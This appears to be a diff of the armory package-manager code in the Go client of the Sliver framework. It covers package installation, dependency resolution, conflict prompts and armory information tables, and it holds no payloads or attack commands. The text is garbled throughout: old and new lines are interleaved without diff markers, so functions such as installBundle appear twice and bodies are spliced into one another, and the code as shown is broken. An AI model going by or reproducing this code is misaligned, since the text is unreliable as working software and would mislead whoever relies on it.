con.PrintErrorf("No package or bundle named %q was found in armory %s\n", name, armoryName)
|
||||
}
|
||||
} else if errors.Is(err, ErrPackageAlreadyInstalled) {
|
||||
con.PrintErrorf("Package %q is already installed - use the force option to overwrite it\n", name)
|
||||
} else {
|
||||
con.PrintErrorf("Could not install package: %s\n", err)
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
func installBundle(bundle *ArmoryBundle, armoryPK string, forceInstallation bool, clientConfig ArmoryHTTPConfig, con *console.SliverClient) {
|
||||
installList := []string{}
|
||||
pendingPackages := make(map[string]string)
|
||||
|
||||
for _, bundlePkgName := range bundle.Packages {
|
||||
packageInstallList, err := buildInstallList(bundlePkgName, armoryPK, forceInstallation, pendingPackages)
|
||||
if err != nil {
|
||||
if errors.Is(err, ErrPackageAlreadyInstalled) {
|
||||
con.PrintInfof("Package %s is already installed. Skipping...\n", bundlePkgName)
|
||||
continue
|
||||
} else {
|
||||
con.PrintErrorf("Error for package %s: %s\n", bundlePkgName, err)
|
||||
return
|
||||
}
|
||||
}
|
||||
for _, pkgID := range packageInstallList {
|
||||
if !slices.Contains(installList, pkgID) {
|
||||
installList = append(installList, pkgID)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
for _, packageID := range installList {
|
||||
packageEntry := packageCacheLookupByID(packageID)
|
||||
if packageEntry == nil {
|
||||
con.PrintErrorf("The package cache is out of date. Please run armory refresh and try again.\n")
|
||||
return
|
||||
}
|
||||
if packageEntry.Pkg.IsAlias {
|
||||
err := installAliasPackage(packageEntry, false, clientConfig, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to install alias '%s': %s", packageEntry.Alias.CommandName, err)
|
||||
return
|
||||
}
|
||||
} else {
|
||||
err := installExtensionPackage(packageEntry, false, clientConfig, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to install extension '%s': %s", packageEntry.Extension.Name, err)
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
con.PrintErrorf("No package or bundle named '%s' was found", name)
|
||||
}
|
||||
|
||||
func installBundle(bundle *ArmoryBundle, clientConfig ArmoryHTTPConfig, con *console.SliverClient) {
|
||||
for _, pkgName := range bundle.Packages {
|
||||
err := installPackageByName(pkgName, clientConfig, con)
|
||||
func getInstalledPackageNames() []string {
|
||||
packageNames := []string{}
|
||||
|
||||
installedAliases := assets.GetInstalledAliasManifests()
|
||||
installedExtensions := assets.GetInstalledExtensionManifests()
|
||||
|
||||
for _, aliasFileName := range installedAliases {
|
||||
alias := &alias.AliasManifest{}
|
||||
manifestData, err := os.ReadFile(aliasFileName)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to install '%s': %s", pkgName, err)
|
||||
continue
|
||||
}
|
||||
err = json.Unmarshal(manifestData, alias)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
if !slices.Contains(packageNames, alias.CommandName) {
|
||||
packageNames = append(packageNames, alias.CommandName)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func installPackageByName(name string, clientConfig ArmoryHTTPConfig, con *console.SliverClient) error {
|
||||
aliases, extensions := packagesInCache()
|
||||
for _, alias := range aliases {
|
||||
if alias.CommandName == name || name == "all" {
|
||||
installAlias(alias, clientConfig, con)
|
||||
if name != "all" {
|
||||
return nil
|
||||
}
|
||||
for _, extensionFileName := range installedExtensions {
|
||||
extension := &extensions.ExtensionManifest{}
|
||||
manifestData, err := os.ReadFile(extensionFileName)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
}
|
||||
for _, extm := range extensions {
|
||||
for _, ext := range extm.ExtCommand {
|
||||
if ext.CommandName == name || name == "all" {
|
||||
installExtension(ext.Manifest, clientConfig, con)
|
||||
if name != "all" {
|
||||
return nil
|
||||
err = json.Unmarshal(manifestData, extension)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
if len(extension.ExtCommand) == 0 {
|
||||
extensionOld := &extensions.ExtensionManifest_{}
|
||||
// Some extension manifests are using an older version
|
||||
// To maintain compatibility with those extensions, we will
|
||||
// re-unmarshal the data as the older version
|
||||
err = json.Unmarshal(manifestData, extensionOld)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
if !slices.Contains(packageNames, extensionOld.CommandName) {
|
||||
packageNames = append(packageNames, extensionOld.CommandName)
|
||||
}
|
||||
} else {
|
||||
for _, command := range extension.ExtCommand {
|
||||
if !slices.Contains(packageNames, command.CommandName) {
|
||||
packageNames = append(packageNames, command.CommandName)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
if name == "all" {
|
||||
con.Printf("\n")
|
||||
con.PrintInfof("All packages installed\n")
|
||||
return nil
|
||||
}
|
||||
return ErrPackageNotFound
|
||||
|
||||
return packageNames
|
||||
}
|
||||
|
||||
func installAlias(alias *alias.AliasManifest, clientConfig ArmoryHTTPConfig, con *console.SliverClient) {
|
||||
err := installAliasPackageByName(alias.CommandName, clientConfig, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to install alias '%s': %s", alias.CommandName, err)
|
||||
return
|
||||
}
|
||||
}
|
||||
// This is a convenience function to get the names of the commands in the cache
|
||||
func getCommandsInCache() []string {
|
||||
commandNames := []string{}
|
||||
|
||||
func installAliasPackageByName(name string, clientConfig ArmoryHTTPConfig, con *console.SliverClient) error {
|
||||
var entry *pkgCacheEntry
|
||||
pkgCache.Range(func(key, value interface{}) bool {
|
||||
cacheEntry := value.(pkgCacheEntry)
|
||||
if cacheEntry.Pkg.CommandName == name {
|
||||
entry = &cacheEntry
|
||||
return false
|
||||
if cacheEntry.LastErr == nil {
|
||||
if cacheEntry.Pkg.IsAlias {
|
||||
if !slices.Contains(commandNames, cacheEntry.Alias.CommandName) {
|
||||
commandNames = append(commandNames, cacheEntry.Alias.CommandName)
|
||||
}
|
||||
} else {
|
||||
for _, command := range cacheEntry.Extension.ExtCommand {
|
||||
if !slices.Contains(commandNames, command.CommandName) {
|
||||
commandNames = append(commandNames, command.CommandName)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return true
|
||||
})
|
||||
|
||||
return commandNames
|
||||
}
|
||||
|
||||
func getPackagesWithCommandName(name, armoryPK, minimumVersion string) []*pkgCacheEntry {
|
||||
packages := []*pkgCacheEntry{}
|
||||
|
||||
pkgCache.Range(func(key, value interface{}) bool {
|
||||
cacheEntry := value.(pkgCacheEntry)
|
||||
if cacheEntry.LastErr == nil {
|
||||
if cacheEntry.Pkg.IsAlias {
|
||||
if cacheEntry.Alias.CommandName == name {
|
||||
if minimumVersion == "" || (minimumVersion != "" && cacheEntry.Alias.Version >= minimumVersion) {
|
||||
if armoryPK == "" || (armoryPK != "" && cacheEntry.ArmoryConfig.PublicKey == armoryPK) {
|
||||
packages = append(packages, &cacheEntry)
|
||||
}
|
||||
}
|
||||
}
|
||||
} else {
|
||||
for _, command := range cacheEntry.Extension.ExtCommand {
|
||||
if command.CommandName == name {
|
||||
if minimumVersion == "" || (minimumVersion != "" && cacheEntry.Extension.Version >= minimumVersion) {
|
||||
if armoryPK == "" || (armoryPK != "" && cacheEntry.ArmoryConfig.PublicKey == armoryPK) {
|
||||
packages = append(packages, &cacheEntry)
|
||||
}
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return true
|
||||
})
|
||||
|
||||
return packages
|
||||
}
|
||||
|
||||
func getPackageIDFromUser(name string, options map[string]string) string {
|
||||
selectedPackageKey := ""
|
||||
optionKeys := util.Keys(options)
|
||||
slices.Sort(optionKeys)
|
||||
// Add a cancel option
|
||||
optionKeys = append(optionKeys, doNotInstallOption)
|
||||
options[doNotInstallOption] = doNotInstallPackageName
|
||||
prompt := &survey.Select{
|
||||
Message: fmt.Sprintf("More than one package contains the command %s. Please choose an option from the list below:", name),
|
||||
Options: optionKeys,
|
||||
}
|
||||
survey.AskOne(prompt, &selectedPackageKey)
|
||||
selectedPackageID := options[selectedPackageKey]
|
||||
|
||||
return selectedPackageID
|
||||
}
|
||||
|
||||
func getPackageForCommand(name, armoryPK, minimumVersion string) (*pkgCacheEntry, error) {
|
||||
packagesWithCommand := getPackagesWithCommandName(name, armoryPK, minimumVersion)
|
||||
|
||||
if len(packagesWithCommand) > 1 {
|
||||
// Build an option map for the user to choose from (option -> pkgID)
|
||||
optionMap := make(map[string]string)
|
||||
for _, packageEntry := range packagesWithCommand {
|
||||
var optionName string
|
||||
if packageEntry.Pkg.IsAlias {
|
||||
optionName = fmt.Sprintf("Alias %s %s from armory %s (%s)",
|
||||
name,
|
||||
packageEntry.Alias.Version,
|
||||
packageEntry.ArmoryConfig.Name,
|
||||
packageEntry.Pkg.RepoURL,
|
||||
)
|
||||
} else {
|
||||
optionName = fmt.Sprintf("Extension %s %s from armory %s with command %s (%s)",
|
||||
packageEntry.Pkg.Name,
|
||||
packageEntry.Extension.Version,
|
||||
packageEntry.ArmoryConfig.Name,
|
||||
name,
|
||||
packageEntry.Pkg.RepoURL,
|
||||
)
|
||||
}
|
||||
optionMap[optionName] = packageEntry.ID
|
||||
}
|
||||
selectedPackageID := getPackageIDFromUser(name, optionMap)
|
||||
if selectedPackageID == doNotInstallPackageName {
|
||||
return nil, fmt.Errorf("user cancelled installation")
|
||||
}
|
||||
for _, packageEntry := range packagesWithCommand {
|
||||
if packageEntry.ID == selectedPackageID {
|
||||
return packageEntry, nil
|
||||
}
|
||||
}
|
||||
} else if len(packagesWithCommand) == 1 {
|
||||
return packagesWithCommand[0], nil
|
||||
}
|
||||
return nil, ErrPackageNotFound
|
||||
}
|
||||
|
||||
func buildInstallList(name, armoryPK string, forceInstallation bool, pendingPackages map[string]string) ([]string, error) {
|
||||
packageInstallList := []string{}
|
||||
installedPackages := getInstalledPackageNames()
|
||||
|
||||
/*
|
||||
Gather information about what we are working with
|
||||
|
||||
Find all conflicts within aliases for a given name (or all names), same thing with extensions
|
||||
Then if there are aliases and extensions with a given name, make sure to note that for when we ask the user what to do
|
||||
*/
|
||||
var requestedPackageList []string
|
||||
if name == "all" {
|
||||
requestedPackageList = []string{}
|
||||
allCommands := getCommandsInCache()
|
||||
for _, cmdName := range allCommands {
|
||||
if !slices.Contains(installedPackages, cmdName) || forceInstallation {
|
||||
// Check to see if there is a package pending with that name
|
||||
if _, ok := pendingPackages[cmdName]; !ok {
|
||||
requestedPackageList = append(requestedPackageList, cmdName)
|
||||
}
|
||||
}
|
||||
}
|
||||
} else {
|
||||
if !slices.Contains(installedPackages, name) || forceInstallation {
|
||||
// Check to see if there is a package pending with that name
|
||||
if _, ok := pendingPackages[name]; !ok {
|
||||
requestedPackageList = []string{name}
|
||||
}
|
||||
} else {
|
||||
return nil, ErrPackageAlreadyInstalled
|
||||
}
|
||||
}
|
||||
|
||||
for _, packageName := range requestedPackageList {
|
||||
if _, ok := pendingPackages[packageName]; ok {
|
||||
// We are already going to install a package with this name, so do not try to resolve it
|
||||
continue
|
||||
}
|
||||
packageEntry, err := getPackageForCommand(packageName, armoryPK, "")
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if !slices.Contains(packageInstallList, packageEntry.ID) {
|
||||
packageInstallList = append(packageInstallList, packageEntry.ID)
|
||||
pendingPackages[packageName] = packageEntry.ID
|
||||
}
|
||||
|
||||
if !packageEntry.Pkg.IsAlias {
|
||||
dependencies := make(map[string]*pkgCacheEntry)
|
||||
err = resolveExtensionPackageDependencies(packageEntry, dependencies, pendingPackages)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
for pkgName, packageEntry := range dependencies {
|
||||
if !slices.Contains(packageInstallList, packageEntry.ID) {
|
||||
packageInstallList = append(packageInstallList, packageEntry.ID)
|
||||
}
|
||||
if _, ok := pendingPackages[pkgName]; !ok {
|
||||
pendingPackages[pkgName] = packageEntry.ID
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return packageInstallList, nil
|
||||
}
|
||||
|
||||
func installPackageByName(name, armoryPK string, forceInstallation, promptToOverwrite bool, clientConfig ArmoryHTTPConfig, con *console.SliverClient) error {
|
||||
pendingPackages := make(map[string]string)
|
||||
packageInstallList, err := buildInstallList(name, armoryPK, forceInstallation, pendingPackages)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if len(packageInstallList) > 0 {
|
||||
for _, packageID := range packageInstallList {
|
||||
entry := packageCacheLookupByID(packageID)
|
||||
if entry == nil {
|
||||
return errors.New("cache consistency error - please refresh the cache and try again")
|
||||
}
|
||||
if entry.Pkg.IsAlias {
|
||||
err := installAliasPackage(entry, promptToOverwrite, clientConfig, con)
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to install alias '%s': %s", entry.Alias.CommandName, err)
|
||||
}
|
||||
} else {
|
||||
err := installExtensionPackage(entry, promptToOverwrite, clientConfig, con)
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to install extension '%s': %s", entry.Extension.Name, err)
|
||||
}
|
||||
}
|
||||
}
|
||||
} else {
|
||||
return ErrPackageNotFound
|
||||
}
|
||||
|
||||
if name == "all" {
|
||||
con.Printf("\n")
|
||||
con.PrintInfof("Operation complete\n")
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func installAliasPackage(entry *pkgCacheEntry, promptToOverwrite bool, clientConfig ArmoryHTTPConfig, con *console.SliverClient) error {
|
||||
if entry == nil {
|
||||
return errors.New("package not found")
|
||||
}
|
||||
if !entry.Pkg.IsAlias {
|
||||
return errors.New("package is not an alias")
|
||||
}
|
||||
repoURL, err := url.Parse(entry.RepoURL)
|
||||
if err != nil {
|
||||
return err
|
||||
@@ -174,7 +496,7 @@ func installAliasPackageByName(name string, clientConfig ArmoryHTTPConfig, con *
|
||||
|
||||
con.Printf(console.Clearln + "\r") // Clear the line
|
||||
|
||||
installPath := alias.InstallFromFile(tmpFile.Name(), true, con)
|
||||
installPath := alias.InstallFromFile(tmpFile.Name(), entry.Alias.CommandName, promptToOverwrite, con)
|
||||
if installPath == nil {
|
||||
return errors.New("failed to install alias")
|
||||
}
|
||||
@@ -188,50 +510,15 @@ func installAliasPackageByName(name string, clientConfig ArmoryHTTPConfig, con *
|
||||
return nil
|
||||
}
|
||||
|
||||
func installExtension(extm *extensions.ExtensionManifest, clientConfig ArmoryHTTPConfig, con *console.SliverClient) {
|
||||
deps := make(map[string]struct{})
|
||||
for _, ext := range extm.ExtCommand {
|
||||
resolveExtensionPackageDependencies(ext.CommandName, deps, clientConfig, con)
|
||||
sliverMenu := con.App.Menu(constants.ImplantMenu).Root()
|
||||
for dep := range deps {
|
||||
if extensions.CmdExists(dep, sliverMenu) {
|
||||
continue // Dependency is already installed
|
||||
}
|
||||
err := installExtensionPackageByName(dep, clientConfig, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to install extension dependency '%s': %s", dep, err)
|
||||
return
|
||||
}
|
||||
}
|
||||
err := installExtensionPackageByName(ext.CommandName, clientConfig, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to install extension '%s': %s", ext.CommandName, err)
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
const maxDepDepth = 10 // Arbitrary recursive limit for dependencies
|
||||
|
||||
func resolveExtensionPackageDependencies(name string, deps map[string]struct{}, clientConfig ArmoryHTTPConfig, con *console.SliverClient) {
|
||||
var entry *pkgCacheEntry
|
||||
pkgCache.Range(func(key, value interface{}) bool {
|
||||
cacheEntry := value.(pkgCacheEntry)
|
||||
if cacheEntry.Pkg.CommandName == name {
|
||||
entry = &cacheEntry
|
||||
return false
|
||||
}
|
||||
return true
|
||||
})
|
||||
if entry == nil {
|
||||
return
|
||||
}
|
||||
for _, multiExt := range entry.Extension.ExtCommand {
|
||||
func resolveExtensionPackageDependencies(pkg *pkgCacheEntry, deps map[string]*pkgCacheEntry, pendingPackages map[string]string) error {
|
||||
for _, multiExt := range pkg.Extension.ExtCommand {
|
||||
if multiExt.DependsOn == "" {
|
||||
continue // Avoid adding empty dependency
|
||||
}
|
||||
|
||||
if multiExt.DependsOn == name {
|
||||
if multiExt.DependsOn == pkg.Extension.Name {
|
||||
continue // Avoid infinite loop of something that depends on itself
|
||||
}
|
||||
// We also need to look out for circular dependencies, so if we've already
|
||||
@@ -239,24 +526,28 @@ func resolveExtensionPackageDependencies(name string, deps map[string]struct{},
|
||||
if _, ok := deps[multiExt.DependsOn]; ok {
|
||||
continue // Already resolved
|
||||
}
|
||||
// Check to make sure we are not already going to install a package with this name
|
||||
if _, ok := pendingPackages[multiExt.DependsOn]; ok {
|
||||
continue
|
||||
}
|
||||
if maxDepDepth < len(deps) {
|
||||
continue
|
||||
}
|
||||
deps[multiExt.DependsOn] = struct{}{}
|
||||
resolveExtensionPackageDependencies(multiExt.DependsOn, deps, clientConfig, con)
|
||||
// Figure out what package we need for the dependency
|
||||
dependencyEntry, err := getPackageForCommand(multiExt.DependsOn, "", "")
|
||||
if err != nil {
|
||||
return fmt.Errorf("could not resolve dependency %s for %s: %s", multiExt.DependsOn, pkg.Extension.Name, err)
|
||||
}
|
||||
deps[multiExt.DependsOn] = dependencyEntry
|
||||
err = resolveExtensionPackageDependencies(dependencyEntry, deps, pendingPackages)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func installExtensionPackageByName(name string, clientConfig ArmoryHTTPConfig, con *console.SliverClient) error {
|
||||
var entry *pkgCacheEntry
|
||||
pkgCache.Range(func(key, value interface{}) bool {
|
||||
cacheEntry := value.(pkgCacheEntry)
|
||||
if cacheEntry.Pkg.CommandName == name {
|
||||
entry = &cacheEntry
|
||||
return false
|
||||
}
|
||||
return true
|
||||
})
|
||||
func installExtensionPackage(entry *pkgCacheEntry, promptToOverwrite bool, clientConfig ArmoryHTTPConfig, con *console.SliverClient) error {
|
||||
if entry == nil {
|
||||
return errors.New("package not found")
|
||||
}
|
||||
@@ -302,7 +593,7 @@ func installExtensionPackageByName(name string, clientConfig ArmoryHTTPConfig, c
|
||||
|
||||
con.Printf(console.Clearln + "\r") // Clear download message
|
||||
|
||||
extensions.InstallFromDir(tmpFile.Name(), con, true)
|
||||
extensions.InstallFromDir(tmpFile.Name(), promptToOverwrite, con, true)
|
||||
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,653 @@
|
||||
package armory
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"slices"
|
||||
"strings"
|
||||
"sync"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
func printArmories(con *console.SliverClient) {
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
|
||||
tw.AppendHeader(table.Row{
|
||||
"Armory Name",
|
||||
"Authorization Required",
|
||||
"Enabled",
|
||||
"URL",
|
||||
})
|
||||
|
||||
configuredArmories := getCurrentArmoryConfiguration()
|
||||
|
||||
for _, armory := range configuredArmories {
|
||||
var authRequired string
|
||||
var enabled string
|
||||
if armory.Authorization != "" {
|
||||
authRequired = "yes"
|
||||
} else {
|
||||
authRequired = "no"
|
||||
}
|
||||
if armory.Enabled {
|
||||
enabled = "yes"
|
||||
} else {
|
||||
enabled = "no"
|
||||
}
|
||||
tw.AppendRow(table.Row{
|
||||
armory.Name,
|
||||
authRequired,
|
||||
enabled,
|
||||
armory.RepoURL,
|
||||
})
|
||||
}
|
||||
|
||||
con.Printf("%s\n", tw.Render())
|
||||
}
|
||||
|
||||
func generateRowsForArmory(armoryInfo *assets.ArmoryConfig) []table.Row {
|
||||
rows := make([]table.Row, 0)
|
||||
rows = append(rows, table.Row{
|
||||
"Name",
|
||||
armoryInfo.Name,
|
||||
})
|
||||
|
||||
rows = append(rows, table.Row{
|
||||
"Public Key",
|
||||
armoryInfo.PublicKey,
|
||||
})
|
||||
|
||||
enabled := "yes"
|
||||
if !armoryInfo.Enabled {
|
||||
enabled = "no"
|
||||
}
|
||||
|
||||
rows = append(rows, table.Row{
|
||||
"Enabled",
|
||||
enabled,
|
||||
})
|
||||
|
||||
authorizationRequired := "no"
|
||||
if armoryInfo.Authorization != "" {
|
||||
authorizationRequired = fmt.Sprintf("yes; current authorization: %s", armoryInfo.Authorization)
|
||||
}
|
||||
rows = append(rows, table.Row{
|
||||
"Authorization required?",
|
||||
authorizationRequired,
|
||||
})
|
||||
if authorizationRequired != "no" {
|
||||
authCmd := armoryInfo.AuthorizationCmd
|
||||
if authCmd == "" {
|
||||
authCmd = "not configured"
|
||||
}
|
||||
rows = append(rows, table.Row{
|
||||
"Authorization Command",
|
||||
authCmd,
|
||||
})
|
||||
}
|
||||
|
||||
rows = append(rows, table.Row{
|
||||
"URL",
|
||||
armoryInfo.RepoURL,
|
||||
})
|
||||
|
||||
return rows
|
||||
}
|
||||
|
||||
func generateRowsForPackage(packageInfo *pkgCacheEntry) []table.Row {
|
||||
rows := make([]table.Row, 0)
|
||||
|
||||
rows = append(rows, table.Row{
|
||||
"Name",
|
||||
packageInfo.Pkg.Name,
|
||||
})
|
||||
|
||||
rows = append(rows, table.Row{
|
||||
"Command Name",
|
||||
packageInfo.Pkg.CommandName,
|
||||
})
|
||||
|
||||
rows = append(rows, table.Row{
|
||||
"Armory Name",
|
||||
packageInfo.Pkg.ArmoryName,
|
||||
})
|
||||
|
||||
packageType := "alias"
|
||||
if !packageInfo.Pkg.IsAlias {
|
||||
packageType = "extension"
|
||||
}
|
||||
rows = append(rows, table.Row{
|
||||
"Package Type",
|
||||
packageType,
|
||||
})
|
||||
if packageType == "alias" {
|
||||
rows = append(rows, table.Row{
|
||||
"Version",
|
||||
packageInfo.Alias.Version,
|
||||
})
|
||||
rows = append(rows, table.Row{
|
||||
"Author",
|
||||
packageInfo.Alias.OriginalAuthor,
|
||||
})
|
||||
rows = append(rows, table.Row{
|
||||
"Repo URL",
|
||||
packageInfo.Alias.RepoURL,
|
||||
})
|
||||
rows = append(rows, table.Row{
|
||||
"Help",
|
||||
packageInfo.Alias.Help,
|
||||
})
|
||||
} else {
|
||||
rows = append(rows, table.Row{
|
||||
"Version",
|
||||
packageInfo.Extension.Version,
|
||||
})
|
||||
rows = append(rows, table.Row{
|
||||
"Original Author",
|
||||
packageInfo.Extension.OriginalAuthor,
|
||||
})
|
||||
rows = append(rows, table.Row{
|
||||
"Extension Author",
|
||||
packageInfo.Extension.ExtensionAuthor,
|
||||
})
|
||||
rows = append(rows, table.Row{
|
||||
"URL",
|
||||
packageInfo.Extension.RepoURL,
|
||||
})
|
||||
extCommands := []string{}
|
||||
for _, cmd := range packageInfo.Extension.ExtCommand {
|
||||
extCommands = append(extCommands, cmd.CommandName)
|
||||
}
|
||||
rows = append(rows, table.Row{
|
||||
"Contains commands",
|
||||
strings.Join(extCommands, ", "),
|
||||
})
|
||||
rows = append(rows, table.Row{"", ""})
|
||||
rows = append(rows, table.Row{"Command Info", ""})
|
||||
for _, extCmd := range packageInfo.Extension.ExtCommand {
|
||||
rows = append(rows, table.Row{
|
||||
"Command Name",
|
||||
extCmd.CommandName,
|
||||
})
|
||||
rows = append(rows, table.Row{
|
||||
"Dependencies",
|
||||
extCmd.DependsOn,
|
||||
})
|
||||
rows = append(rows, table.Row{
|
||||
"Help",
|
||||
extCmd.Help,
|
||||
})
|
||||
rows = append(rows, table.Row{"", ""})
|
||||
}
|
||||
}
|
||||
rows = append(rows, table.Row{"", ""})
|
||||
|
||||
return rows
|
||||
}
|
||||
|
||||
func viewDetailedInformation(con *console.SliverClient, entity string) {
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
|
||||
tw.AppendHeader(table.Row{
|
||||
"Property",
|
||||
"Value",
|
||||
})
|
||||
|
||||
// See where this name exists in the armory and package indexes
|
||||
armoryResult := armoryLookupByName(entity)
|
||||
if armoryResult != nil {
|
||||
tw.AppendRows(generateRowsForArmory(armoryResult))
|
||||
con.Printf("Armory information for %s\n\n", entity)
|
||||
con.Printf("%s\n", tw.Render())
|
||||
tw.ResetRows()
|
||||
con.Printf("\n")
|
||||
}
|
||||
|
||||
// Get packages with this name
|
||||
packageResult := packageCacheLookupByName(entity)
|
||||
if len(packageResult) > 0 {
|
||||
con.Printf("Packages named %s\n\n", entity)
|
||||
for _, pkg := range packageResult {
|
||||
tw.AppendRows(generateRowsForPackage(pkg))
|
||||
con.Printf("%s\n", tw.Render())
|
||||
tw.ResetRows()
|
||||
con.Printf("\n")
|
||||
}
|
||||
}
|
||||
|
||||
// Get extensions containing commands with this name
|
||||
commandResult := packageCacheLookupByCmd(entity)
|
||||
commandResultFiltered := make([]*pkgCacheEntry, 0)
|
||||
for _, cmd := range commandResult {
|
||||
if !cmd.Pkg.IsAlias {
|
||||
commandResultFiltered = append(commandResultFiltered, cmd)
|
||||
}
|
||||
}
|
||||
if len(commandResultFiltered) > 0 {
|
||||
con.Printf("Packages containing commands named %s\n\n", entity)
|
||||
for _, cmd := range commandResultFiltered {
|
||||
tw.AppendRows(generateRowsForPackage(cmd))
|
||||
con.Printf("%s\n", tw.Render())
|
||||
tw.ResetRows()
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
func ArmoryInfoCommand(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
if len(args) == 0 {
|
||||
printArmories(con)
|
||||
return
|
||||
}
|
||||
// If the user wants info on something specific, make sure the caches are up to date
|
||||
refresh(parseArmoryHTTPConfig(cmd))
|
||||
viewDetailedInformation(con, args[0])
|
||||
}
|
||||
|
||||
func verifyArmory(armoryInfo *assets.ArmoryConfig, clientConfig ArmoryHTTPConfig) error {
|
||||
wg := &sync.WaitGroup{}
|
||||
// Only making one request, so we can limit ourselves to one concurrent request
|
||||
requestChannel := make(chan struct{}, 1)
|
||||
wg.Add(1)
|
||||
requestChannel <- struct{}{}
|
||||
go fetchIndex(armoryInfo, requestChannel, clientConfig, wg)
|
||||
wg.Wait()
|
||||
|
||||
result, ok := indexCache.Load(armoryInfo.PublicKey)
|
||||
if !ok {
|
||||
return fmt.Errorf("failed to retrieve armory index")
|
||||
}
|
||||
cacheResult := result.(indexCacheEntry)
|
||||
return cacheResult.LastErr
|
||||
}
|
||||
|
||||
func getCurrentArmoryConfiguration() []*assets.ArmoryConfig {
|
||||
configs := []*assets.ArmoryConfig{}
|
||||
armoryNames := []string{}
|
||||
// If the default armory is in the configuration, force it to be last
|
||||
var defaultConfig *assets.ArmoryConfig
|
||||
|
||||
currentArmories.Range(func(key, value interface{}) bool {
|
||||
armoryEntry := value.(assets.ArmoryConfig)
|
||||
// Skip over the default armory for now
|
||||
if armoryEntry.Name != assets.DefaultArmoryName {
|
||||
configs = append(configs, &armoryEntry)
|
||||
armoryNames = append(armoryNames, armoryEntry.Name)
|
||||
} else {
|
||||
defaultConfig = &armoryEntry
|
||||
}
|
||||
return true
|
||||
})
|
||||
|
||||
if !armoriesInitialized {
|
||||
/*
|
||||
Armories are initialized on the first call to the armory command
|
||||
If armories are added or removed before the first call, we want
|
||||
to make sure we still load in the ones from the configuration
|
||||
file.
|
||||
*/
|
||||
persistentConfigs := assets.GetArmoriesConfig()
|
||||
for _, config := range persistentConfigs {
|
||||
if !slices.Contains(armoryNames, config.Name) {
|
||||
if config.Name == assets.DefaultArmoryName {
|
||||
if defaultArmoryRemoved {
|
||||
continue
|
||||
} else if defaultConfig != nil {
|
||||
// The user potentially changed something about the default config
|
||||
configs = append(configs, defaultConfig)
|
||||
currentArmories.Store(config.PublicKey, *defaultConfig)
|
||||
continue
|
||||
}
|
||||
}
|
||||
configs = append(configs, config)
|
||||
currentArmories.Store(config.PublicKey, *config)
|
||||
}
|
||||
}
|
||||
return configs
|
||||
}
|
||||
if !defaultArmoryRemoved {
|
||||
if defaultConfig != nil {
|
||||
configs = append(configs, defaultConfig)
|
||||
} else {
|
||||
configs = append(configs, assets.DefaultArmoryConfig)
|
||||
}
|
||||
}
|
||||
assets.RefreshArmoryAuthorization(configs)
|
||||
return configs
|
||||
}
|
||||
|
||||
func armoryNameExists(name string) bool {
|
||||
currentArmoriesConfigured := getCurrentArmoryConfiguration()
|
||||
for _, armory := range currentArmoriesConfigured {
|
||||
if armory.Name == name {
|
||||
return true
|
||||
}
|
||||
}
|
||||
|
||||
return false
|
||||
}
|
||||
|
||||
func armoryKeyExists(pubKey string) bool {
|
||||
currentArmoriesConfigured := getCurrentArmoryConfiguration()
|
||||
for _, armory := range currentArmoriesConfigured {
|
||||
if armory.PublicKey == pubKey {
|
||||
return true
|
||||
}
|
||||
}
|
||||
|
||||
return false
|
||||
}
|
||||
|
||||
func AddArmoryCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
// Get necessary information
|
||||
url, _ := cmd.Flags().GetString("url")
|
||||
pubKey, _ := cmd.Flags().GetString("pubkey")
|
||||
auth, _ := cmd.Flags().GetString("auth")
|
||||
authCmd, _ := cmd.Flags().GetString("authcmd")
|
||||
noSave, _ := cmd.Flags().GetBool("no-save")
|
||||
|
||||
name := args[0]
|
||||
|
||||
if name == "" {
|
||||
con.PrintErrorf("an armory name is required\n")
|
||||
return
|
||||
}
|
||||
// Make sure we do not already have an armory config with the supplied name
|
||||
if armoryNameExists(name) {
|
||||
con.PrintErrorf("armory %s already exists\n", name)
|
||||
return
|
||||
}
|
||||
|
||||
clientConfig := parseArmoryHTTPConfig(cmd)
|
||||
armoryConfig := assets.ArmoryConfig{
|
||||
PublicKey: pubKey,
|
||||
RepoURL: url,
|
